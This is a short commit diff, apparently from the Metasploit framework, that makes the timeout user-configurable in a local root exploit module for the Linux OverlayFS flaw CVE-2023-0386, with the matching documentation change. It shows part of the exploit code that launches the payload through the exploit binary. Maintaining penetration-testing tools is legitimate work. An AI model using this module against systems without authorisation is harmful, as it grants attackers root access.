Make timeout user configurable

Author: Takahiro-Yoko

documentation/modules/exploit/linux/local/cve_2023_0386_overlayfs_priv_esc.md

@@ -48,6 +48,11 @@ compilation on target, False will upload a precompiled binary.  AUTO will favor
 but will fall back to the precompiled option if a compiler cannot be found.
 The default value is `Auto`
 
+### TIMEOUT (required)
+
+This is the amount of time (in seconds) that the module will wait for the payload to be
+executed. Defaults to 60 seconds.
+
 ### WritableDir (required)
 This indicates the location where you would like the payload and exploit binary stored, as well
 as serving as a location to store the various files and directories created by the exploit itself.

modules/exploits/linux/local/cve_2023_0386_overlayfs_priv_esc.rb

@@ -67,7 +67,8 @@ def initialize(info = {})
       )
     )
     register_options([
-      OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
+      OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),
+      OptInt.new('TIMEOUT', [ true, 'Timeout for exploit (seconds)', '60' ])
     ])
     register_advanced_options([
       OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
@@ -137,9 +138,8 @@ def exploit
     register_file_for_cleanup(payload_path)
 
     # Launch exploit
-    timeout = 30
     print_status('Launching exploit...')
-    cmd_exec("echo '#{payload_path} & exit' | #{exploit_dir}/cve-2023-0386", nil, timeout)
+    cmd_exec("echo '#{payload_path} & exit' | #{exploit_dir}/cve-2023-0386", nil, datastore['TIMEOUT'])
   end
 
   def get_exploit(exploit_dir)